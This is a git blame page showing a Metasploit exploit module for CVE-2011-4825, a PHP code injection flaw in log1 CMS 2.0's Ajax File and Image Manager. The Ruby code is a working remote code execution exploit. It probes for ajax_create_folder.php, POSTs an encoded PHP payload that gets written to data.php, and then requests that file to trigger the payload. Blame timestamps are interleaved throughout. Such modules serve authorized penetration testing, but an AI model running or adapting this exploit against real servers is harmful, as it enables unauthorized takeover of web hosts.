Files
metasploit-gs/modules/exploits/multi/http/log1cms_ajax_create_folder.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

99 lines
2.7 KiB
Ruby
Raw Normal View History

2012-06-01 18:45:44 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-01 18:45:44 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-01 18:45:44 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
2012-06-02 01:49:43 -05:00
'Name' => "Log1 CMS writeInfo() PHP Code Injection",
2012-06-01 18:45:44 -05:00
'Description' => %q{
This module exploits the "Ajax File and Image Manager" component that can be
2012-06-02 01:49:43 -05:00
found in log1 CMS. In function.base.php of this component, the 'data' parameter
2012-06-01 18:45:44 -05:00
in writeInfo() allows any malicious user to have direct control of writing data
to file data.php, which results in arbitrary remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Found the bug in ajax_create_folder.php
'Adel SBM', #Found log1 CMS using the vulnerable ajax_create_folder.php
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2011-4825'],
['OSVDB', '76928'],
2012-06-02 16:57:53 -05:00
['EDB', '18075'], #Egix's advisory
2012-06-01 18:45:44 -05:00
['EDB', '18151'] #Adel's
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-06-01 18:45:44 -05:00
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
2012-06-02 01:49:43 -05:00
['log1 CMS 2.0', {}],
2012-06-01 18:45:44 -05:00
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2011-04-11',
2012-06-01 18:45:44 -05:00
'DefaultTarget' => 0))
register_options(
[
2012-06-02 01:49:43 -05:00
OptString.new('TARGETURI', [true, 'The base path to log1 CMS', '/log1cms2.0/'])
])
2012-06-01 18:45:44 -05:00
end
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2012-06-01 18:45:44 -05:00
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php")
2012-06-01 18:45:44 -05:00
})
if res and res.code == 200
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
2012-06-01 18:45:44 -05:00
uri << '/' if uri[-1, 1] != '/'
peer = "#{rhost}:#{rport}"
php = %Q|#{rand_text_alpha(10)}=<?php #{payload.encoded} ?>|
2016-02-01 15:12:03 -06:00
print_status("Sending PHP payload (#{php.length.to_s} bytes)")
2012-06-01 18:45:44 -05:00
send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, "admin/libraries/ajaxfilemanager/ajax_create_folder.php"),
2012-06-01 18:45:44 -05:00
'data' => php
})
2016-02-01 15:12:03 -06:00
print_status("Requesting data.php")
2012-06-01 18:45:44 -05:00
send_request_raw({
'method' => 'GET',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri(uri, 'admin/libraries/ajaxfilemanager/inc/data.php')
2012-06-01 18:45:44 -05:00
})
handler
end
2014-06-17 21:03:18 +02:00
end